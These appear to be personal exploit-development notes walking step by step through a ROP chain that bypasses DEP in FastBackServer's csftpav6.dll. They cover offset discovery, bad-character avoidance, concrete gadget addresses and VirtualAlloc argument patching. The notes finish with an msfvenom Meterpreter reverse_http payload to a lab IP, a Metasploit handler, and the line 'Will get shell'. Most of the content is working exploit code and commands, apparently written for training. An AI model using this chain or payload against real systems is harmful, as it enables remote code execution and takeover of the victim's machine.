-
First use rp++ with (can be .exe or .dll):
rp-win-x86.exe -f x.exe -r 5 > rop.txt - Use
msf-pattern_create -l 0x200to generate the unique string. Put in PoC and check EIP to find out the string. - Use
msf-pattern_offset -q 41326a41to find out the actual offset. - (Optional) In WinDBG use
dd espto find out what is the first value. Then put in this value intomsf-pattern_offset -q 6a41336ato ensure no padding required between return address and payload. -
In PoC, modify to add the following based on the pattern and change the combined string to offset+eip+rop.
offset = b"A" * 276 eip = b"B" * 4 rop = b"C" * (0x400 - 276 - 4) - Check for bad characters (from 0x00 to 0xff). All ROP address cannot have bad characters.
- Check for all modules to see which one doesnt have ASLR and bad characters:
.load narlythen!nmod. - Check the base and end address using (eg here FastBackServer is the process name)
lm m FastBackServer. - Based on the module you selected in step 8 and 9, copy it to the rp++ folder and run
rp-win-x86.exe -f csftpav6.dll -r 5 > rop.txt -
Place the skeleton for VirtualAlloc first in the PoC (paste it anywhere, but this must be immediately after the offset when actually running, AND REMEMBER TO MINUS LENGTH OF VA):
va = pack("<L", (0x45454545)) # dummy VirtualAlloc Address va += pack("<L", (0x46464646)) # Shellcode Return Address va += pack("<L", (0x47474747)) # # dummy Shellcode Address va += pack("<L", (0x48484848)) # dummy dwSize va += pack("<L", (0x49494949)) # # dummy flAllocationType va += pack("<L", (0x51515151)) # dummy flProtect ... offset = b"A" * (276 - len(va)) ... ..offset+va+eip+rop.. - Run this one time and do
dd esp - 1Cto ensure before EIP(42424242) contains the dummy value. Is okay to have some overwritten. - CRITICAL S1: Need a copy of ESP register to another register. Can use
ropfilter -f rop.txt --best-last --safe-enable --reg2reg 'esp->*'and see which one is suitable. According to ropfilter the best will be at last, but need to avoid some that might clutter the memory such asleave,rcrwith memory etc. -
Once you find the relevant one replace the EIP with:
eip = pack("<L", (0x50501110)) # push esp ; push eax ; pop edi; pop esi ; ret - (Optional) If you want to test can first set a breakpoint at that instruction using
bp 0x50501110,gandpto single step execution. Can also usedd esp L1ordd esp L2etc. After the last step,dd esp L1should return 43434343. - CRITICAL S2: Obtain the address of VirtualAlloc. If you use IDA pro can straight go to Imports tab to see the address of VirtualAlloc. Else first use
!dh CSFTPAV6 -f(where CSFTPAV6 is the module name) to get the Import Address Table Directory offset (this is the first column, example 4A000). Subsequently usedps CSFTPAV6+0x4A000 L100then look for kernel32!VirtualAllocStub and get the address (first column, example 5054a220). - CRITICAL S3: Find out where is the dummy address for our VirtualAlloc (45454545). To do this can do
dd esp - 1Cand if the first value is 1c then it is at negative offset of 1c from ESP (replacing 1c with other values if this is not, basically trial and error). - Now since we have a copy of ESP address in ESI from S1, we can use that to operate. First we need to move ESI to EAX/ECX register.
ropfilter -f rop.txt --best-last --safe-enable --reg2reg 'esi->eax'andropfilter -f rop.txt --best-last --safe-enable --reg2reg 'esi->ecx'can help you to find. -
If the ROP you selected got a POP xxx, you need another dummy DWORD to make sure the stack aligns. We can then make the following changes for example:
rop = pack("<L", (0x5050118e)) # mov eax,esi ; pop esi ; retn rop += pack("<L", (0x42424242)) # junk rop += b"C" * (0x400 - 276 - 4 - len(rop)) - (Optional) If you want to test can first set a breakpoint at that instruction using
bp 0x50501110, then firstgto resume, thenptto skip the first gadget. After the ret, when you rundd eax L1it should be the dummy value for VirtualAlloc (45454545). - From S3 we know the offset is -1C, however 0x1c is 0x0000001C which contains null (bad) bytes. Therefore we can add the negative number of this (ffffffe4) which we can find through
? -0x1c. - So we need to pop ffffffe4 into ECX(can find through manual or
ropfilter -f rop.txt --best-last --safe-enable --require-writes ECX), then add ECX to EAX. We can then update the ROP like thisropfilter --best-last --safe-enable -f rop.txt --arith 'dst=eax,src=ecx,op=add|sub':... rop += pack("<L", (0x505115a3)) # pop ecx ; ret rop += pack("<L", (0xffffffe4)) # -0x1C rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret rop += b"C" * (0x400 - 276 - 4 - len(rop)) - Now we have the value in EAX, we need to move it back to ESI for future use. Can use
ropfilter -f rop.txt --best-last --safe-enable --reg2reg 'eax->esi'to find one. Update to the following:... rop += pack("<L", (0x50537d5b)) # push eax ; pop esi ; ret rop += b"C" * (0x400 - 276 - 4 - len(rop)) - (Optional) If we put a
bp 0x50537d5bandpuntil the end,dd esi L1should be dummy VirtualAlloc address (45454545). - From S2 we know the address is 5054a220, but in this case 20 is bad character. to solve this, we need to increase this address by 1, and later deduct 1 from the address.
-
So we need to find a POP EAX to put the (VirtualAlloc+1 Address) into EAX, then pop -0x00000001(which is 0xFFFFFFFF) into ECX using POP ECX, and use ADD EAX, ECX to get the actual VirtualAlloc address. Then need to dereference to put it into EAX. Finally need to put this memory pointer into ESI. Use
ropfilter --best-last --safe-enable -f rop.txt --memread 'base=eax,src=eax'andropfilter --best-last --safe-enable -f rop.txt --memwrite 'base=esi,src=eax'Something like this (by the end if you dodds esi L1you should get VirtualAlloc):... rop += pack("<L", (0x5053a0f5)) # pop eax ; ret rop += pack("<L", (0x5054A221)) # VirtualAlloc IAT + 1 rop += pack("<L", (0x505115a3)) # pop ecx ; ret rop += pack("<L", (0xffffffff)) # -1 into ecx rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret rop += pack("<L", (0x5051f278)) # mov eax, dword [eax] ; ret rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret ... - Since we used ROP gadget to call VirtualAlloc, we also need a valid return address (shellcode) into the stack and place it on the stack. ESI now contains the address on the stack for VirtualAlloc (4 bytes dword), and so we need to adjust ESI to 4 bytes later. Can use ADD ESI, 0x4 but if not available, can use INC ESI as well (which adds 1 byte) and therefore we need 4 of these (by the end
dd esi L1should be 46464646):... rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret ... -
We also need to copy the value of ESI into EAX AND KEEP VALUE OF ESI SO DONT FIND SOMETHING THAT WILL MESS UP ESI. But since in this case everything got POP ESI, we can copy the value to EAX first, pop a dummy value into ESI, then PUSH EAX to stack, and POP ESI to get ESI back. (Note: PUSH EAX will retain the value of EAX and will not erase it)
... rop += pack("<L", (0x5050118e)) # mov eax, esi ; pop esi ; ret rop += pack("<L", (0x42424242)) # junk rop += pack("<L", (0x5052f773)) # push eax ; pop esi ; ret ... - We dont know the return address yet because we havent finish our shellcode, but can solve this by adding a fixed value. For eg to add 0x210 bytes (not 0x200 is because null bytes), we can instead minus negative 0xfffffdf0 (
? -0x210use this to avoid null bytes).ropfilter --best-last --safe-enable -f rop.txt --arith 'dst=eax,src=ecx,op=sub'So again pop this into ECX, and add EAX and ECX together (by the enddd eax L4should be 43434343).... rop += pack("<L", (0x505115a3)) # pop ecx ; ret rop += pack("<L", (0xfffffdf0)) # -0x210 rop += pack("<L", (0x50533bf4)) # sub eax, ecx ; ret ... - Now EAX contains the address to fake shellcode. Overwrite this value to the stack
ropfilter --best-last --safe-enable -f rop.txt --memwrite 'base=esi,src=eax'(dd poi(esi) L4should show 43434343 43434343 43434343).... rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret ... - ESI already contained the return address now, but since we moving on to the actual argument, we need to increase the ESI register by four bytes to align with next API skeleton call. In this case can use INC four times. (
dd esi L1will be 46464646)... rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret ... - Next is patching the arguments. First argument is lpAddress which should be the same as shellcode address/return address. Previous step ESI contains the address on stack where return address was written, so ESI is only 4 bytes lower than lpAddress. We need to increase ESI by 4 bytes. Just now we use -0x210 to align EAX, now need use -0x20c since we increased ESI by 4 bytes(
? -0x210+4, then straight use the 0xfffffdf4). Finally overwrite this into the ESI memory location. (bp 0x5051cbb6->g3 times thendd eax L4should be 43434343 43434343 43434343..)... rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x5050118e)) # mov eax, esi ; pop esi ; ret rop += pack("<L", (0x42424242)) # junk rop += pack("<L", (0x5052f773)) # push eax ; pop esi ; ret rop += pack("<L", (0x505115a3)) # pop ecx ; ret rop += pack("<L", (0xfffffdf4)) # -0x20c rop += pack("<L", (0x50533bf4)) # sub eax, ecx ; ret rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret ... - Second argument is dwSize and it needs to be 0x01 (0x00000001) and contain null bytes. Can use NEG (
? 0 - 00000001will get ffffffff).... rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x5053a0f5)) # pop eax ; ret rop += pack("<L", (0xffffffff)) # -1 value that is negated rop += pack("<L", (0x50527840)) # neg eax ; ret rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret ... - Next need to set flAllocationType to 1000, and NEG wont work because the complement is 0xfffff000 which also contains null bytes. Again start by increasing ESI by 4 bytes to the next argument. We can pop a large random value into EAX (for example 0x80808080), the complement value (
? 1000 - 80808080= 7f7f8f80) into ECX, then add them togetherropfilter --best-last --safe-enable -f rop.txt --arith 'dst=eax,src=ecx,op=add'.... rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x5053a0f5)) # pop eax ; ret rop += pack("<L", (0x80808080)) # first value to be added rop += pack("<L", (0x505115a3)) # pop ecx ; ret rop += pack("<L", (0x7f7f8f80)) # second value to be added rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret ... - Final argument is flProtect and this needs to have 0x40. Again use the previous trick (
? 40 - 80808080= 7f7f7fc0). The last gadget is just a breakpoint which is not needed for final exploit. (To test this justgthen when hit bp, usedds esi - 14 L6, should see the VirtualAllocStub, 2 placeholder return address, followed by the correct argument value.)... rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret rop += pack("<L", (0x5053a0f5)) # pop eax ; ret rop += pack("<L", (0x80808080)) # first value to be added rop += pack("<L", (0x505115a3)) # pop ecx ; ret rop += pack("<L", (0x7f7f7fc0)) # second value to be added rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret rop += pack("<L", (0x5051e4db)) # int3 ; push eax ; call esi ... - Now need to execute VirtualAlloc. Since ESI contains the stack address of last argument, we can use that and minus a small amount to go back to the start of VirtualAlloc. This can be done through trial and error that you need to substract 18 bytes (
? 0 - 00000018) to reach VirtualAlloc. Final step you need to move this back into ESP. Note that the ROP gadget containing the breakpoint instruction from previous must be removed from the updated ROP chain. MANDATORY: To test we can usebp 0x5050118e ".if @eax = 0x40 {} .else {gc}", thengandpuntil the last gadget. Nextpshould show VirtualAllocStub.... rop += pack("<L", (0x5050118e)) # mov eax,esi ; pop esi ; retn rop += pack("<L", (0x42424242)) # junk rop += pack("<L", (0x505115a3)) # pop ecx ; ret rop += pack("<L", (0xffffffe8)) # negative offset value rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret rop += pack("<L", (0x5051571f)) # xchg eax, ebp ; ret rop += pack("<L", (0x50533cbf)) # mov esp, ebp ; pop ebp ; ret ... - Final step is we need to align our shellcode with the return address. From the mandatory check earlier,
pagain to see the address of the first instruction and take note of the address. Then do add esp + 100to see where is the first 43434343 occurence. Finally use the first to minus the second value? 0d55e514 - 0d55e434. (IF THIS IS A NEGATIVE NUMBER GO BACK AND ADJUST YOUR RETURN ADDRESS AND FIRST ARGUMENT. FIRST RUN 0n128 if 128 is the negative number to get hex 80, then do? 0x210+0x80+0x20, where 0x20 is to be safe. Then negative this, change the return address and first argument accordingly. )This will tell you how many padding you need (for example 224 or 000000e0). A dummy shellcode is put first to see if it works. Mandatory: To test usebp KERNEL32!VirtualAllocStubthengandptandpyou should see cc all after which is our dummy shellcode.... padding = b"C" * 0xe0 shellcode = b"\xcc" * (0x600 - 276 - 4 - len(rop) - len(padding)) formatString = b"File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % (offset+va+eip+rop+padding+shellcode,0,0,0,0) ... - After
bp KERNEL32!VirtualAllocStubandgandptand the firstp, do add eip L40(adjust accordingly L40), then do a? 0d5ae604 - eipto see how much actual space you have. Make sure it is more than 550 bytes to be safe. If not enough just increase the shellcode size from previously to bigger number. - Use msfvenom and supply bad characters
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.119.120 LPORT=8080 -b "\x00\x09\x0a\x0b\x0c\x0d\x20" -f python -v shellcode. -
Finally insert the shellcode into POC, then
use multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.119.120
set lport 8080
exploit - Will get shell.